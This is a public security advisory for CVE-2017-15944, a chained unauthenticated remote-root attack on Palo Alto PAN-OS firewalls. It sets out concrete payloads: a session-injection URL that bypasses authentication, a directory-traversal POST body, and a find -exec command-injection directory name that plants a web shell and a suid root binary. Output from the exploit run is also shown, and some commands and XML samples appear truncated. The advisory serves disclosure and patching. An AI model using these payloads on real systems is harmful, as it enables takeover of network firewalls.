Hello, This is a public advisory for CVE-2017-15944 which is a remote root code execution bug in Palo Alto Networks firewalls. Three separate bugs can be used together to remotely execute commands as root through the web management interface without authentication on: PAN-OS 6.1.18 and earlier, PAN-OS 7.0.18 and earlier, PAN-OS 7.1.13 and earlier, PAN-OS 8.0.5 and earlier. Palo Alto Networks recommends not exposing the web management interface to the internet. By looking at Project Sonar or Shodan it is evident that it's actually quite common to deploy the firewalls with the web management interface listening on the WAN port. PAN-OS 6.1.19, PAN-OS 7.0.19, PAN-OS 7.1.14 and PAN-OS 8.0.6 are patched and can be downloaded from https://support.paloaltonetworks.com/ =*=*=*=*=*=*=*=*= TIMELINE 2017-07-09: Report submitted. 2017-07-11: Palo Alto Networks PSIRT confirm that they received the report and assign PDV-348 for tracking the issues. 2017-12-05: The bugs are made public by Palo Alto Networks at https://securityadvisories.paloaltonetworks.com 2017-12-11: I send out this public advisory. =*=*=*=*=*=*=*=*= DESCRIPTION - Bug #1: Partial authentication bypass The file `/etc/appweb3/conf/common.conf` contains the web configuration for the web server that handles the web management interface. It configures an authentication filter on most subdirectories using the following format: panAuthCheck on This means that all requests to /php/* will be checked for an authenticated session cookie. The functionality itself is implemented in the `libpanApiWgetFilter.so` library file. The function `openAuthFilter()` will look for the PHPSESSID cookie and then call the `readSessionVarsFromFile()` function on the session file to extract the `dloc` and `user` values. The problem is that `readSessionVarsFromFile()` is not using the official PHP functions to read the serialized session data, but its own parser using `strtok()` which is not implemented correctly. The PHP session format which `readSessionVarsFromFile()` tries to parse looks like this for string values: locale|s:2:"en"; Explained: var_name|s:str_length:"string value"; var_name|s:str_length:"another string";... If we can inject a value into the session file that contains the `";` character sequence, we can break the parser and inject our own value for the `user` variable. We can do this by calling the `/esp/cms_changeDeviceContext.esp` script, which does not need any kind of authentication to be called. It will call the `panUserSetDeviceLocation()` function located in `panmodule.so`, which splits the `dloc` GET parameter by ":" and sets the `dloc` and `loc` session variables to the second value. We can corrupt the session file by calling the following url: `/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";` Which produces the following contents in `/tmp/sess_`: `dloc|s:20:"8:a'";user|s."1337";";loc|s:27:"16:a'";user|s."1337";:vsys1";` When this is parsed by the `readSessionVarsFromFile()` function, it will extract `16:a'` as the value for the `user` variable. It will then use this in XML requests to the backend to check if the user is authenticated, but this produces an XML injection that results in an invalid XML document: ``` Entity: line 1: parser error : attributes construct error ``` The extra single quote character is injected into the cookie value, which makes the request fail because of a parser error. Interestingly enough, the `panCheckSessionExpired()` function in `libpanApiWgetFilter.so` does not recognize this unexpected state and believes that authentication has succeeded. We can now access any PHP file protected by the panAuthCheck directive using our manipulated session cookie. Example: imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" Moved Temporarily

Moved Temporarily

The document has moved here.

PanWeb Server/ - at Port 80
imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" '";user|s."1337";' @start@Success@end@ imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" 2>/dev/null|head -30 Debug Console It's important to note that we still don't have a valid, logged in session. Most PHP scripts will fail, but we do bypass the authentication check in the web server. - Bug #2: Arbitrary directory creation The `/php/utils/router.php` file handles API requests for the web management interface backend communication. It exposes most of the PHP classes that comprise the web application in a simple remote procedure call interface over HTTP POST/JSON. The `/php/device/Administrator.php` file declares the `Administrator` class. It contains a method called `get` that we can call from `router.php`. In the `get` method there is an XML injection in the call to `Direct::getConfigByXpath`. The `jsonArgs->id` parameter is appended to the request without any sanitation. This allows us to manipulate the XML request that is sent to the backend. Normal request: We can inject our own values into the end of the `obj` attribute, and therefore control all of the remaining XML request. The `pan_cfg_req_ctxt_construct()` function in `libpanmp_mp.so` handles the parsing of XML requests in the backend. If we send a request tag with the `async-mode='yes'` attribute set, the backend will create a temporary file and parent directory in `/opt/pancfg/session/pan/user_tmp//.xml` that contains the output of the request. Since we can control the `` part of the created directory structure, we can use a directory traversal attack to create a directory with an arbitrary name anywhere on the system. For example, by sending the following crafted POST request: {"action":"PanDirect","method":"execute","data": ["07c5807d0d927dcd0980f86024e5208b","Administrator.get", {"changeMyPassword":true,"template":"asd","id":"admin']\" async-mode='yes' refresh='yes' cookie='../../../../../../tmp/hacked'/>\u0000"}],"type":"rpc","tid":713} The backend receives the following XML request, resulting in the `/tmp/hacked` directory being created: - Bug #3: Command injection in cron script There is a cron entry that executes `/usr/local/bin/genindex_batch.sh` every 15 minutes. This shellscript will in turn execute `/usr/local/bin/genindex.sh` to generate indexes from database files in `/opt/pancfg/mgmt/logdb/`. There is a command injection vulnerability in how this shellscript handles filename processing: Since we can create directories in `$PAN_BASE_DIR/logdb/$dir/1`, we are able to influence the output of the first `find` command. This output is then used as an argument in the second execution of `find`, but without enclosing quotes. We can therefore inject arbitrary arguments in this invocation. By passing the `-exec` option to `find`, we can make it execute arbitrary system commands. My exploit creates a directory called: `* -print -exec python -c exec("[base64 code..]".decode("base64")) ;` The base64-encoded python code will be executed as root, which creates a simple web shell in `/var/appweb/htdocs/api/c.php` as well as a suid root wrapper in `/bin/x`. =*=*=*=*=*=*=*=*= EXPLOIT OUTPUT imac:~/pa% python panos-rce.py creating corrupted session... >> ";user|s."1337"; done, verifying.. >> panAuthCheck bypassed verifying that directory creation works.. >> >> creating /opt/pancfg/mgmt/logdb/traffic/1/ entry shell at should be created in 8 minutes.. please wait web shell created, rootshell accessible with /bin/x -p -c 'command' uid=99(nobody) gid=99(nobody) euid=0(root) Linux PA-3060 #1 SMP Thu May 4 20:10:01 PDT 2017 x86_64 x86_64 x86_64 GNU/Linux $ =*=*=*=*=*=*=*=*= CREDIT Philip Pettersson